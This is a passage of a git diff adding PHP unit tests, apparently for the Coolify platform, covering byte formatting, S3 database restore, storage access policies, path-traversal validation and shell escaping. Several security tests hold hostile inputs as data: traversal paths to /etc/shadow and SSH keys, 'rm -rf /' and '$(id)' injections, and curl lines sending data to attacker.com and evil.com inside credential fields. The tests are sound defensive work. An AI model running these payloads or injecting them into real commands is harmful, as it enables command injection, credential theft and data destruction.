ReflectionClass(CoolifyTask::class); + $failedMethod = $reflection->getMethod('failed'); + + // Read the method source + $filename = $reflection->getFileName(); + $startLine = $failedMethod->getStartLine(); + $endLine = $failedMethod->getEndLine(); + + $source = file($filename); + $methodSource = implode('', array_slice($source, $startLine - 1, $endLine - $startLine + 1)); + + // Verify try-catch around event dispatch + expect($methodSource) + ->toContain('try {') + ->and($methodSource)->toContain('} catch (\Throwable $e) {') + ->and($methodSource)->toContain("Log::error('Error dispatching cleanup event"); +}); + +it('CoolifyTask constructor stores call_event_on_finish and call_event_data', function () { + $reflection = new ReflectionClass(CoolifyTask::class); + $constructor = $reflection->getConstructor(); + + // Get constructor parameters + $parameters = $constructor->getParameters(); + $paramNames = array_map(fn ($p) => $p->getName(), $parameters); + + // Verify both parameters exist + expect($paramNames) + ->toContain('call_event_on_finish') + ->and($paramNames)->toContain('call_event_data'); + + // Verify they are public properties (constructor property promotion) + expect($reflection->hasProperty('call_event_on_finish'))->toBeTrue(); + expect($reflection->hasProperty('call_event_data'))->toBeTrue(); +}); diff --git a/tests/Unit/FormatBytesTest.php b/tests/Unit/FormatBytesTest.php new file mode 100644 index 000000000..70c9c3039 --- /dev/null +++ b/tests/Unit/FormatBytesTest.php @@ -0,0 +1,42 @@ +toBe('0 B'); +}); + +it('formats null bytes correctly', function () { + expect(formatBytes(null))->toBe('0 B'); +}); + +it('handles negative bytes safely', function () { + expect(formatBytes(-1024))->toBe('0 B'); + expect(formatBytes(-100))->toBe('0 B'); +}); + +it('formats bytes correctly', function () { + expect(formatBytes(512))->toBe('512 B'); + expect(formatBytes(1023))->toBe('1023 B'); +}); + +it('formats kilobytes correctly', function () { + expect(formatBytes(1024))->toBe('1 KB'); + expect(formatBytes(2048))->toBe('2 KB'); + expect(formatBytes(1536))->toBe('1.5 KB'); +}); + +it('formats megabytes correctly', function () { + expect(formatBytes(1048576))->toBe('1 MB'); + expect(formatBytes(5242880))->toBe('5 MB'); +}); + +it('formats gigabytes correctly', function () { + expect(formatBytes(1073741824))->toBe('1 GB'); + expect(formatBytes(2147483648))->toBe('2 GB'); +}); + +it('respects precision parameter', function () { + expect(formatBytes(1536, 0))->toBe('2 KB'); + expect(formatBytes(1536, 1))->toBe('1.5 KB'); + expect(formatBytes(1536, 2))->toBe('1.5 KB'); + expect(formatBytes(1536, 3))->toBe('1.5 KB'); +}); diff --git a/tests/Unit/Livewire/Database/S3RestoreTest.php b/tests/Unit/Livewire/Database/S3RestoreTest.php new file mode 100644 index 000000000..18837b466 --- /dev/null +++ b/tests/Unit/Livewire/Database/S3RestoreTest.php @@ -0,0 +1,79 @@ +dumpAll = false; + $component->postgresqlRestoreCommand = 'pg_restore -U $POSTGRES_USER -d $POSTGRES_DB'; + + $database = Mockery::mock('App\Models\StandalonePostgresql'); + $database->shouldReceive('getMorphClass')->andReturn('App\Models\StandalonePostgresql'); + $component->resource = $database; + + $result = $component->buildRestoreCommand('/tmp/test.dump'); + + expect($result)->toContain('pg_restore'); + expect($result)->toContain('/tmp/test.dump'); +}); + +test('buildRestoreCommand handles PostgreSQL with dumpAll', function () { + $component = new Import; + $component->dumpAll = true; + // This is the full dump-all command prefix that would be set in the updatedDumpAll method + $component->postgresqlRestoreCommand = 'psql -U $POSTGRES_USER -c "SELECT pg_terminate_backend(pid) FROM pg_stat_activity WHERE datname IS NOT NULL AND pid <> pg_backend_pid()" && psql -U $POSTGRES_USER -t -c "SELECT datname FROM pg_database WHERE NOT datistemplate" | xargs -I {} dropdb -U $POSTGRES_USER --if-exists {} && createdb -U $POSTGRES_USER postgres'; + + $database = Mockery::mock('App\Models\StandalonePostgresql'); + $database->shouldReceive('getMorphClass')->andReturn('App\Models\StandalonePostgresql'); + $component->resource = $database; + + $result = $component->buildRestoreCommand('/tmp/test.dump'); + + expect($result)->toContain('gunzip -cf /tmp/test.dump'); + expect($result)->toContain('psql -U $POSTGRES_USER postgres'); +}); + +test('buildRestoreCommand handles MySQL without dumpAll', function () { + $component = new Import; + $component->dumpAll = false; + $component->mysqlRestoreCommand = 'mysql -u $MYSQL_USER -p$MYSQL_PASSWORD $MYSQL_DATABASE'; + + $database = Mockery::mock('App\Models\StandaloneMysql'); + $database->shouldReceive('getMorphClass')->andReturn('App\Models\StandaloneMysql'); + $component->resource = $database; + + $result = $component->buildRestoreCommand('/tmp/test.dump'); + + expect($result)->toContain('mysql -u $MYSQL_USER'); + expect($result)->toContain('< /tmp/test.dump'); +}); + +test('buildRestoreCommand handles MariaDB without dumpAll', function () { + $component = new Import; + $component->dumpAll = false; + $component->mariadbRestoreCommand = 'mariadb -u $MARIADB_USER -p$MARIADB_PASSWORD $MARIADB_DATABASE'; + + $database = Mockery::mock('App\Models\StandaloneMariadb'); + $database->shouldReceive('getMorphClass')->andReturn('App\Models\StandaloneMariadb'); + $component->resource = $database; + + $result = $component->buildRestoreCommand('/tmp/test.dump'); + + expect($result)->toContain('mariadb -u $MARIADB_USER'); + expect($result)->toContain('< /tmp/test.dump'); +}); + +test('buildRestoreCommand handles MongoDB', function () { + $component = new Import; + $component->dumpAll = false; + $component->mongodbRestoreCommand = 'mongorestore --authenticationDatabase=admin --username $MONGO_INITDB_ROOT_USERNAME --password $MONGO_INITDB_ROOT_PASSWORD --uri mongodb://localhost:27017 --gzip --archive='; + + $database = Mockery::mock('App\Models\StandaloneMongodb'); + $database->shouldReceive('getMorphClass')->andReturn('App\Models\StandaloneMongodb'); + $component->resource = $database; + + $result = $component->buildRestoreCommand('/tmp/test.dump'); + + expect($result)->toContain('mongorestore'); + expect($result)->toContain('/tmp/test.dump'); +}); diff --git a/tests/Unit/PathTraversalSecurityTest.php b/tests/Unit/PathTraversalSecurityTest.php new file mode 100644 index 000000000..60adb44ac --- /dev/null +++ b/tests/Unit/PathTraversalSecurityTest.php @@ -0,0 +1,184 @@ +toBeFalse(); + expect(isSafeTmpPath(''))->toBeFalse(); + expect(isSafeTmpPath(' '))->toBeFalse(); + }); + + it('rejects paths shorter than minimum length', function () { + expect(isSafeTmpPath('/tmp'))->toBeFalse(); + expect(isSafeTmpPath('/tmp/'))->toBeFalse(); + expect(isSafeTmpPath('/tmp/a'))->toBeTrue(); // 6 chars exactly, should pass + }); + + it('accepts valid /tmp/ paths', function () { + expect(isSafeTmpPath('/tmp/file.txt'))->toBeTrue(); + expect(isSafeTmpPath('/tmp/backup.sql'))->toBeTrue(); + expect(isSafeTmpPath('/tmp/subdir/file.txt'))->toBeTrue(); + expect(isSafeTmpPath('/tmp/very/deep/nested/path/file.sql'))->toBeTrue(); + }); + + it('rejects obvious path traversal attempts with ..', function () { + expect(isSafeTmpPath('/tmp/../etc/passwd'))->toBeFalse(); + expect(isSafeTmpPath('/tmp/foo/../etc/passwd'))->toBeFalse(); + expect(isSafeTmpPath('/tmp/foo/bar/../../etc/passwd'))->toBeFalse(); + expect(isSafeTmpPath('/tmp/foo/../../../etc/passwd'))->toBeFalse(); + }); + + it('rejects paths that do not start with /tmp/', function () { + expect(isSafeTmpPath('/etc/passwd'))->toBeFalse(); + expect(isSafeTmpPath('/home/user/file.txt'))->toBeFalse(); + expect(isSafeTmpPath('/var/log/app.log'))->toBeFalse(); + expect(isSafeTmpPath('tmp/file.txt'))->toBeFalse(); // Missing leading / + expect(isSafeTmpPath('./tmp/file.txt'))->toBeFalse(); + }); + + it('handles double slashes by normalizing them', function () { + // Double slashes are normalized out, so these should pass + expect(isSafeTmpPath('/tmp//file.txt'))->toBeTrue(); + expect(isSafeTmpPath('/tmp/foo//bar.txt'))->toBeTrue(); + }); + + it('handles relative directory references by normalizing them', function () { + // ./ references are normalized out, so these should pass + expect(isSafeTmpPath('/tmp/./file.txt'))->toBeTrue(); + expect(isSafeTmpPath('/tmp/foo/./bar.txt'))->toBeTrue(); + }); + + it('handles trailing slashes correctly', function () { + expect(isSafeTmpPath('/tmp/file.txt/'))->toBeTrue(); + expect(isSafeTmpPath('/tmp/subdir/'))->toBeTrue(); + }); + + it('rejects sophisticated path traversal attempts', function () { + // URL encoded .. will be decoded and then rejected + expect(isSafeTmpPath('/tmp/%2e%2e/etc/passwd'))->toBeFalse(); + + // Mixed case /TMP doesn't start with /tmp/ + expect(isSafeTmpPath('/TMP/file.txt'))->toBeFalse(); + expect(isSafeTmpPath('/TMP/../etc/passwd'))->toBeFalse(); + + // URL encoded slashes with .. (should decode to /tmp/../../etc/passwd) + expect(isSafeTmpPath('/tmp/..%2f..%2fetc/passwd'))->toBeFalse(); + + // Null byte injection attempt (if string contains it) + expect(isSafeTmpPath("/tmp/file.txt\0../../etc/passwd"))->toBeFalse(); + }); + + it('validates paths even when directories do not exist', function () { + // These paths don't exist but should be validated structurally + expect(isSafeTmpPath('/tmp/nonexistent/file.txt'))->toBeTrue(); + expect(isSafeTmpPath('/tmp/totally/fake/deeply/nested/path.sql'))->toBeTrue(); + + // But traversal should still be blocked even if dir doesn't exist + expect(isSafeTmpPath('/tmp/nonexistent/../etc/passwd'))->toBeFalse(); + }); + + it('handles real path resolution when directory exists', function () { + // Create a real temp directory to test realpath() logic + $testDir = '/tmp/phpunit-test-'.uniqid(); + mkdir($testDir, 0755, true); + + try { + expect(isSafeTmpPath($testDir.'/file.txt'))->toBeTrue(); + expect(isSafeTmpPath($testDir.'/subdir/file.txt'))->toBeTrue(); + } finally { + rmdir($testDir); + } + }); + + it('prevents symlink-based traversal attacks', function () { + // Create a temp directory and symlink + $testDir = '/tmp/phpunit-symlink-test-'.uniqid(); + mkdir($testDir, 0755, true); + + // Try to create a symlink to /etc (may not work in all environments) + $symlinkPath = $testDir.'/evil-link'; + + try { + // Attempt to create symlink (skip test if not possible) + if (@symlink('/etc', $symlinkPath)) { + // If we successfully created a symlink to /etc, + // isSafeTmpPath should resolve it and reject paths through it + $testPath = $symlinkPath.'/passwd'; + + // The resolved path would be /etc/passwd, not /tmp/... + // So it should be rejected + $result = isSafeTmpPath($testPath); + + // Clean up before assertion + unlink($symlinkPath); + rmdir($testDir); + + expect($result)->toBeFalse(); + } else { + // Can't create symlink, skip this specific test + $this->markTestSkipped('Cannot create symlinks in this environment'); + } + } catch (Exception $e) { + // Clean up on any error + if (file_exists($symlinkPath)) { + unlink($symlinkPath); + } + if (file_exists($testDir)) { + rmdir($testDir); + } + throw $e; + } + }); + + it('has consistent behavior with or without trailing slash', function () { + expect(isSafeTmpPath('/tmp/file.txt'))->toBe(isSafeTmpPath('/tmp/file.txt/')); + expect(isSafeTmpPath('/tmp/subdir/file.sql'))->toBe(isSafeTmpPath('/tmp/subdir/file.sql/')); + }); +}); + +/** + * Integration test for S3RestoreJobFinished event using the secure path validation. + */ +describe('S3RestoreJobFinished path validation', function () { + it('validates that safe paths pass validation', function () { + // Test with valid paths - should pass validation + $validData = [ + 'serverTmpPath' => '/tmp/valid-backup.sql', + 'scriptPath' => '/tmp/valid-script.sh', + 'containerTmpPath' => '/tmp/container-file.sql', + ]; + + expect(isSafeTmpPath($validData['serverTmpPath']))->toBeTrue(); + expect(isSafeTmpPath($validData['scriptPath']))->toBeTrue(); + expect(isSafeTmpPath($validData['containerTmpPath']))->toBeTrue(); + }); + + it('validates that malicious paths fail validation', function () { + // Test with malicious paths - should fail validation + $maliciousData = [ + 'serverTmpPath' => '/tmp/../etc/passwd', + 'scriptPath' => '/tmp/../../etc/shadow', + 'containerTmpPath' => '/etc/important-config', + ]; + + // Verify that our helper would reject these paths + expect(isSafeTmpPath($maliciousData['serverTmpPath']))->toBeFalse(); + expect(isSafeTmpPath($maliciousData['scriptPath']))->toBeFalse(); + expect(isSafeTmpPath($maliciousData['containerTmpPath']))->toBeFalse(); + }); + + it('validates realistic S3 restore paths', function () { + // These are the kinds of paths that would actually be used + $realisticPaths = [ + '/tmp/coolify-s3-restore-'.uniqid().'.sql', + '/tmp/db-backup-'.date('Y-m-d').'.dump', + '/tmp/restore-script-'.uniqid().'.sh', + ]; + + foreach ($realisticPaths as $path) { + expect(isSafeTmpPath($path))->toBeTrue(); + } + }); +}); diff --git a/tests/Unit/Policies/S3StoragePolicyTest.php b/tests/Unit/Policies/S3StoragePolicyTest.php new file mode 100644 index 000000000..4ea580d0f --- /dev/null +++ b/tests/Unit/Policies/S3StoragePolicyTest.php @@ -0,0 +1,149 @@ + 1, 'pivot' => (object) ['role' => 'member']], + ]); + + $user = Mockery::mock(User::class)->makePartial(); + $user->shouldReceive('getAttribute')->with('teams')->andReturn($teams); + + $storage = Mockery::mock(S3Storage::class)->makePartial(); + $storage->shouldReceive('getAttribute')->with('team_id')->andReturn(1); + $storage->team_id = 1; + + $policy = new S3StoragePolicy; + expect($policy->view($user, $storage))->toBeTrue(); +}); + +it('denies team member to view S3 storage from another team', function () { + $teams = collect([ + (object) ['id' => 1, 'pivot' => (object) ['role' => 'owner']], + ]); + + $user = Mockery::mock(User::class)->makePartial(); + $user->shouldReceive('getAttribute')->with('teams')->andReturn($teams); + + $storage = Mockery::mock(S3Storage::class)->makePartial(); + $storage->shouldReceive('getAttribute')->with('team_id')->andReturn(2); + $storage->team_id = 2; + + $policy = new S3StoragePolicy; + expect($policy->view($user, $storage))->toBeFalse(); +}); + +it('allows team admin to update S3 storage from their team', function () { + $teams = collect([ + (object) ['id' => 1, 'pivot' => (object) ['role' => 'admin']], + ]); + + $user = Mockery::mock(User::class)->makePartial(); + $user->shouldReceive('getAttribute')->with('teams')->andReturn($teams); + + $storage = Mockery::mock(S3Storage::class)->makePartial(); + $storage->shouldReceive('getAttribute')->with('team_id')->andReturn(1); + $storage->team_id = 1; + + $policy = new S3StoragePolicy; + expect($policy->update($user, $storage))->toBeTrue(); +}); + +it('denies team member to update S3 storage from another team', function () { + $teams = collect([ + (object) ['id' => 1, 'pivot' => (object) ['role' => 'admin']], + ]); + + $user = Mockery::mock(User::class)->makePartial(); + $user->shouldReceive('getAttribute')->with('teams')->andReturn($teams); + + $storage = Mockery::mock(S3Storage::class)->makePartial(); + $storage->shouldReceive('getAttribute')->with('team_id')->andReturn(2); + $storage->team_id = 2; + + $policy = new S3StoragePolicy; + expect($policy->update($user, $storage))->toBeFalse(); +}); + +it('allows team member to delete S3 storage from their team', function () { + $teams = collect([ + (object) ['id' => 1, 'pivot' => (object) ['role' => 'member']], + ]); + + $user = Mockery::mock(User::class)->makePartial(); + $user->shouldReceive('getAttribute')->with('teams')->andReturn($teams); + + $storage = Mockery::mock(S3Storage::class)->makePartial(); + $storage->shouldReceive('getAttribute')->with('team_id')->andReturn(1); + $storage->team_id = 1; + + $policy = new S3StoragePolicy; + expect($policy->delete($user, $storage))->toBeTrue(); +}); + +it('denies team member to delete S3 storage from another team', function () { + $teams = collect([ + (object) ['id' => 1, 'pivot' => (object) ['role' => 'owner']], + ]); + + $user = Mockery::mock(User::class)->makePartial(); + $user->shouldReceive('getAttribute')->with('teams')->andReturn($teams); + + $storage = Mockery::mock(S3Storage::class)->makePartial(); + $storage->shouldReceive('getAttribute')->with('team_id')->andReturn(2); + $storage->team_id = 2; + + $policy = new S3StoragePolicy; + expect($policy->delete($user, $storage))->toBeFalse(); +}); + +it('allows admin to create S3 storage', function () { + $user = Mockery::mock(User::class)->makePartial(); + $user->shouldReceive('isAdmin')->andReturn(true); + + $policy = new S3StoragePolicy; + expect($policy->create($user))->toBeTrue(); +}); + +it('denies non-admin to create S3 storage', function () { + $user = Mockery::mock(User::class)->makePartial(); + $user->shouldReceive('isAdmin')->andReturn(false); + + $policy = new S3StoragePolicy; + expect($policy->create($user))->toBeFalse(); +}); + +it('allows team member to validate connection of S3 storage from their team', function () { + $teams = collect([ + (object) ['id' => 1, 'pivot' => (object) ['role' => 'member']], + ]); + + $user = Mockery::mock(User::class)->makePartial(); + $user->shouldReceive('getAttribute')->with('teams')->andReturn($teams); + + $storage = Mockery::mock(S3Storage::class)->makePartial(); + $storage->shouldReceive('getAttribute')->with('team_id')->andReturn(1); + $storage->team_id = 1; + + $policy = new S3StoragePolicy; + expect($policy->validateConnection($user, $storage))->toBeTrue(); +}); + +it('denies team member to validate connection of S3 storage from another team', function () { + $teams = collect([ + (object) ['id' => 1, 'pivot' => (object) ['role' => 'admin']], + ]); + + $user = Mockery::mock(User::class)->makePartial(); + $user->shouldReceive('getAttribute')->with('teams')->andReturn($teams); + + $storage = Mockery::mock(S3Storage::class)->makePartial(); + $storage->shouldReceive('getAttribute')->with('team_id')->andReturn(2); + $storage->team_id = 2; + + $policy = new S3StoragePolicy; + expect($policy->validateConnection($user, $storage))->toBeFalse(); +}); diff --git a/tests/Unit/Project/Database/ImportCheckFileButtonTest.php b/tests/Unit/Project/Database/ImportCheckFileButtonTest.php new file mode 100644 index 000000000..900cf02a4 --- /dev/null +++ b/tests/Unit/Project/Database/ImportCheckFileButtonTest.php @@ -0,0 +1,39 @@ +customLocation = ''; + + $mockServer = Mockery::mock(Server::class); + $component->server = $mockServer; + + // No server commands should be executed when customLocation is empty + $component->checkFile(); + + expect($component->filename)->toBeNull(); +}); + +test('checkFile validates file exists on server when customLocation is filled', function () { + $component = new Import; + $component->customLocation = '/tmp/backup.sql'; + + $mockServer = Mockery::mock(Server::class); + $component->server = $mockServer; + + // This test verifies the logic flows when customLocation has a value + // The actual remote process execution is tested elsewhere + expect($component->customLocation)->toBe('/tmp/backup.sql'); +}); + +test('customLocation can be cleared to allow uploaded file to be used', function () { + $component = new Import; + $component->customLocation = '/tmp/backup.sql'; + + // Simulate clearing the customLocation (as happens when file is uploaded) + $component->customLocation = ''; + + expect($component->customLocation)->toBe(''); +}); diff --git a/tests/Unit/RestoreJobFinishedNullServerTest.php b/tests/Unit/RestoreJobFinishedNullServerTest.php new file mode 100644 index 000000000..d3dfb2f9a --- /dev/null +++ b/tests/Unit/RestoreJobFinishedNullServerTest.php @@ -0,0 +1,93 @@ +shouldReceive('find') + ->with(999) + ->andReturn(null); + + $data = [ + 'scriptPath' => '/tmp/script.sh', + 'tmpPath' => '/tmp/backup.sql', + 'container' => 'test-container', + 'serverId' => 999, + ]; + + // Should not throw an error when server is null + expect(fn () => new RestoreJobFinished($data))->not->toThrow(\Throwable::class); + }); + + it('handles null server gracefully in S3RestoreJobFinished event', function () { + // Mock Server::find to return null (server was deleted) + $mockServer = Mockery::mock('alias:'.Server::class); + $mockServer->shouldReceive('find') + ->with(999) + ->andReturn(null); + + $data = [ + 'containerName' => 'helper-container', + 'serverTmpPath' => '/tmp/downloaded.sql', + 'scriptPath' => '/tmp/script.sh', + 'containerTmpPath' => '/tmp/container-file.sql', + 'container' => 'test-container', + 'serverId' => 999, + ]; + + // Should not throw an error when server is null + expect(fn () => new S3RestoreJobFinished($data))->not->toThrow(\Throwable::class); + }); + + it('handles empty serverId in RestoreJobFinished event', function () { + $data = [ + 'scriptPath' => '/tmp/script.sh', + 'tmpPath' => '/tmp/backup.sql', + 'container' => 'test-container', + 'serverId' => null, + ]; + + // Should not throw an error when serverId is null + expect(fn () => new RestoreJobFinished($data))->not->toThrow(\Throwable::class); + }); + + it('handles empty serverId in S3RestoreJobFinished event', function () { + $data = [ + 'containerName' => 'helper-container', + 'serverTmpPath' => '/tmp/downloaded.sql', + 'scriptPath' => '/tmp/script.sh', + 'containerTmpPath' => '/tmp/container-file.sql', + 'container' => 'test-container', + 'serverId' => null, + ]; + + // Should not throw an error when serverId is null + expect(fn () => new S3RestoreJobFinished($data))->not->toThrow(\Throwable::class); + }); + + it('handles missing data gracefully in RestoreJobFinished', function () { + $data = []; + + // Should not throw an error when data is empty + expect(fn () => new RestoreJobFinished($data))->not->toThrow(\Throwable::class); + }); + + it('handles missing data gracefully in S3RestoreJobFinished', function () { + $data = []; + + // Should not throw an error when data is empty + expect(fn () => new S3RestoreJobFinished($data))->not->toThrow(\Throwable::class); + }); +}); diff --git a/tests/Unit/RestoreJobFinishedSecurityTest.php b/tests/Unit/RestoreJobFinishedSecurityTest.php new file mode 100644 index 000000000..0f3dca08c --- /dev/null +++ b/tests/Unit/RestoreJobFinishedSecurityTest.php @@ -0,0 +1,61 @@ +toBeTrue(); + } + }); + + it('validates that malicious paths fail validation', function () { + $maliciousPaths = [ + '/tmp/../etc/passwd', + '/tmp/foo/../../etc/shadow', + '/etc/sensitive-file', + '/var/www/config.php', + '/tmp/../../../root/.ssh/id_rsa', + ]; + + foreach ($maliciousPaths as $path) { + expect(isSafeTmpPath($path))->toBeFalse(); + } + }); + + it('rejects URL-encoded path traversal attempts', function () { + $encodedTraversalPaths = [ + '/tmp/%2e%2e/etc/passwd', + '/tmp/foo%2f%2e%2e%2f%2e%2e/etc/shadow', + urlencode('/tmp/../etc/passwd'), + ]; + + foreach ($encodedTraversalPaths as $path) { + expect(isSafeTmpPath($path))->toBeFalse(); + } + }); + + it('handles edge cases correctly', function () { + // Too short + expect(isSafeTmpPath('/tmp'))->toBeFalse(); + expect(isSafeTmpPath('/tmp/'))->toBeFalse(); + + // Null/empty + expect(isSafeTmpPath(null))->toBeFalse(); + expect(isSafeTmpPath(''))->toBeFalse(); + + // Null byte injection + expect(isSafeTmpPath("/tmp/file.sql\0../../etc/passwd"))->toBeFalse(); + + // Valid edge cases + expect(isSafeTmpPath('/tmp/x'))->toBeTrue(); + expect(isSafeTmpPath('/tmp/very/deeply/nested/path/to/file.sql'))->toBeTrue(); + }); +}); diff --git a/tests/Unit/RestoreJobFinishedShellEscapingTest.php b/tests/Unit/RestoreJobFinishedShellEscapingTest.php new file mode 100644 index 000000000..e45ec966b --- /dev/null +++ b/tests/Unit/RestoreJobFinishedShellEscapingTest.php @@ -0,0 +1,118 @@ +toBeTrue(); + + // But when escaped, the shell metacharacters become literal strings + $escaped = escapeshellarg($maliciousPath); + + // The escaped version wraps in single quotes and escapes internal single quotes + expect($escaped)->toBe("'/tmp/file'\\''; whoami; '\\'''"); + + // Building a command with escaped path is safe + $command = "rm -f {$escaped}"; + + // The command contains the quoted path, not an unquoted injection + expect($command)->toStartWith("rm -f '"); + expect($command)->toEndWith("'"); + }); + + it('escapes paths with semicolon injection attempts', function () { + $path = '/tmp/backup; rm -rf /; echo'; + expect(isSafeTmpPath($path))->toBeTrue(); + + $escaped = escapeshellarg($path); + expect($escaped)->toBe("'/tmp/backup; rm -rf /; echo'"); + + // The semicolons are inside quotes, so they're treated as literals + $command = "rm -f {$escaped}"; + expect($command)->toBe("rm -f '/tmp/backup; rm -rf /; echo'"); + }); + + it('escapes paths with backtick command substitution attempts', function () { + $path = '/tmp/backup`whoami`.sql'; + expect(isSafeTmpPath($path))->toBeTrue(); + + $escaped = escapeshellarg($path); + expect($escaped)->toBe("'/tmp/backup`whoami`.sql'"); + + // Backticks inside single quotes are not executed + $command = "rm -f {$escaped}"; + expect($command)->toBe("rm -f '/tmp/backup`whoami`.sql'"); + }); + + it('escapes paths with $() command substitution attempts', function () { + $path = '/tmp/backup$(id).sql'; + expect(isSafeTmpPath($path))->toBeTrue(); + + $escaped = escapeshellarg($path); + expect($escaped)->toBe("'/tmp/backup\$(id).sql'"); + + // $() inside single quotes is not executed + $command = "rm -f {$escaped}"; + expect($command)->toBe("rm -f '/tmp/backup\$(id).sql'"); + }); + + it('escapes paths with pipe injection attempts', function () { + $path = '/tmp/backup | cat /etc/passwd'; + expect(isSafeTmpPath($path))->toBeTrue(); + + $escaped = escapeshellarg($path); + expect($escaped)->toBe("'/tmp/backup | cat /etc/passwd'"); + + // Pipe inside single quotes is treated as literal + $command = "rm -f {$escaped}"; + expect($command)->toBe("rm -f '/tmp/backup | cat /etc/passwd'"); + }); + + it('escapes paths with newline injection attempts', function () { + $path = "/tmp/backup\nwhoami"; + expect(isSafeTmpPath($path))->toBeTrue(); + + $escaped = escapeshellarg($path); + // Newline is preserved inside single quotes + expect($escaped)->toContain("\n"); + expect($escaped)->toStartWith("'"); + expect($escaped)->toEndWith("'"); + }); + + it('handles normal paths without issues', function () { + $normalPaths = [ + '/tmp/restore-backup.sql', + '/tmp/restore-script.sh', + '/tmp/database-dump-abc123.sql', + '/tmp/deeply/nested/path/to/file.sql', + ]; + + foreach ($normalPaths as $path) { + expect(isSafeTmpPath($path))->toBeTrue(); + + $escaped = escapeshellarg($path); + // Normal paths are just wrapped in single quotes + expect($escaped)->toBe("'{$path}'"); + } + }); + + it('escapes container names with injection attempts', function () { + // Container names are not validated by isSafeTmpPath, so escaping is critical + $maliciousContainer = 'container"; rm -rf /; echo "pwned'; + $escaped = escapeshellarg($maliciousContainer); + + expect($escaped)->toBe("'container\"; rm -rf /; echo \"pwned'"); + + // Building a docker command with escaped container is safe + $command = "docker rm -f {$escaped}"; + expect($command)->toBe("docker rm -f 'container\"; rm -rf /; echo \"pwned'"); + }); +}); diff --git a/tests/Unit/S3RestoreSecurityTest.php b/tests/Unit/S3RestoreSecurityTest.php new file mode 100644 index 000000000..c224ec48c --- /dev/null +++ b/tests/Unit/S3RestoreSecurityTest.php @@ -0,0 +1,98 @@ +toBe("'secret\";curl https://attacker.com/ -X POST --data `whoami`;echo \"pwned'"); + + // When used in a command, the shell metacharacters should be treated as literal strings + $command = "echo {$escapedSecret}"; + // The dangerous part (";curl) is now safely inside single quotes + expect($command)->toContain("'secret"); // Properly quoted + expect($escapedSecret)->toStartWith("'"); // Starts with quote + expect($escapedSecret)->toEndWith("'"); // Ends with quote + + // Test case 2: Endpoint with command injection + $maliciousEndpoint = 'https://s3.example.com";whoami;"'; + $escapedEndpoint = escapeshellarg($maliciousEndpoint); + + expect($escapedEndpoint)->toBe("'https://s3.example.com\";whoami;\"'"); + + // Test case 3: Key with destructive command + $maliciousKey = 'access-key";rm -rf /;echo "'; + $escapedKey = escapeshellarg($maliciousKey); + + expect($escapedKey)->toBe("'access-key\";rm -rf /;echo \"'"); + + // Test case 4: Normal credentials should work fine + $normalSecret = 'MySecretKey123'; + $normalEndpoint = 'https://s3.amazonaws.com'; + $normalKey = 'AKIAIOSFODNN7EXAMPLE'; + + expect(escapeshellarg($normalSecret))->toBe("'MySecretKey123'"); + expect(escapeshellarg($normalEndpoint))->toBe("'https://s3.amazonaws.com'"); + expect(escapeshellarg($normalKey))->toBe("'AKIAIOSFODNN7EXAMPLE'"); +}); + +it('verifies command injection is prevented in mc alias set command format', function () { + // Simulate the exact scenario from Import.php:407-410 + $containerName = 's3-restore-test-uuid'; + $endpoint = 'https://s3.example.com";curl http://evil.com;echo "'; + $key = 'AKIATEST";whoami;"'; + $secret = 'SecretKey";rm -rf /tmp;echo "'; + + // Before fix (vulnerable): + // $vulnerableCommand = "docker exec {$containerName} mc alias set s3temp {$endpoint} {$key} \"{$secret}\""; + // This would allow command injection because $endpoint and $key are not quoted, + // and $secret's double quotes can be escaped + + // After fix (secure): + $escapedEndpoint = escapeshellarg($endpoint); + $escapedKey = escapeshellarg($key); + $escapedSecret = escapeshellarg($secret); + $secureCommand = "docker exec {$containerName} mc alias set s3temp {$escapedEndpoint} {$escapedKey} {$escapedSecret}"; + + // Verify the secure command has properly escaped values + expect($secureCommand)->toContain("'https://s3.example.com\";curl http://evil.com;echo \"'"); + expect($secureCommand)->toContain("'AKIATEST\";whoami;\"'"); + expect($secureCommand)->toContain("'SecretKey\";rm -rf /tmp;echo \"'"); + + // Verify that the command injection attempts are neutered (they're literal strings now) + // The values are wrapped in single quotes, so shell metacharacters are treated as literals + // Check that all three parameters are properly quoted + expect($secureCommand)->toMatch("/mc alias set s3temp '[^']+' '[^']+' '[^']+'/"); // All params in quotes + + // Verify the dangerous parts are inside quotes (between the quote marks) + // The pattern "'...\";curl...'" means the semicolon is INSIDE the quoted value + expect($secureCommand)->toContain("'https://s3.example.com\";curl http://evil.com;echo \"'"); + + // Ensure we're NOT using the old vulnerable pattern with unquoted values + $vulnerablePattern = 'mc alias set s3temp https://'; // Unquoted endpoint would match this + expect($secureCommand)->not->toContain($vulnerablePattern); +}); + +it('handles S3 secrets with single quotes correctly', function () { + // Test edge case: secret containing single quotes + // escapeshellarg handles this by closing the quote, adding an escaped quote, and reopening + $secretWithQuote = "my'secret'key"; + $escaped = escapeshellarg($secretWithQuote); + + // The expected output format is: 'my'\''secret'\''key' + // This is how escapeshellarg handles single quotes in the input + expect($escaped)->toBe("'my'\\''secret'\\''key'"); + + // Verify it would work in a command context + $containerName = 's3-restore-test'; + $endpoint = escapeshellarg('https://s3.amazonaws.com'); + $key = escapeshellarg('AKIATEST'); + $command = "docker exec {$containerName} mc alias set s3temp {$endpoint} {$key} {$escaped}"; + + // The command should contain the properly escaped secret + expect($command)->toContain("'my'\\''secret'\\''key'"); +}); diff --git a/tests/Unit/S3RestoreTest.php b/tests/Unit/S3RestoreTest.php new file mode 100644 index 000000000..fffb79794 --- /dev/null +++ b/tests/Unit/S3RestoreTest.php @@ -0,0 +1,75 @@ +toBe('backups/database.gz'); + + // Test path without leading slash remains unchanged + $path2 = 'backups/database.gz'; + $cleanPath2 = ltrim($path2, '/'); + + expect($cleanPath2)->toBe('backups/database.gz'); +}); + +test('S3 container name is generated correctly', function () { + $resourceUuid = 'test-database-uuid'; + $containerName = "s3-restore-{$resourceUuid}"; + + expect($containerName)->toBe('s3-restore-test-database-uuid'); + expect($containerName)->toStartWith('s3-restore-'); +}); + +test('S3 download directory is created correctly', function () { + $resourceUuid = 'test-database-uuid'; + $downloadDir = "/tmp/s3-restore-{$resourceUuid}"; + + expect($downloadDir)->toBe('/tmp/s3-restore-test-database-uuid'); + expect($downloadDir)->toStartWith('/tmp/s3-restore-'); +}); + +test('cancelS3Download cleans up correctly', function () { + // Test that cleanup directory path is correct + $resourceUuid = 'test-database-uuid'; + $downloadDir = "/tmp/s3-restore-{$resourceUuid}"; + $containerName = "s3-restore-{$resourceUuid}"; + + expect($downloadDir)->toContain($resourceUuid); + expect($containerName)->toContain($resourceUuid); +}); + +test('S3 file path formats are handled correctly', function () { + $paths = [ + 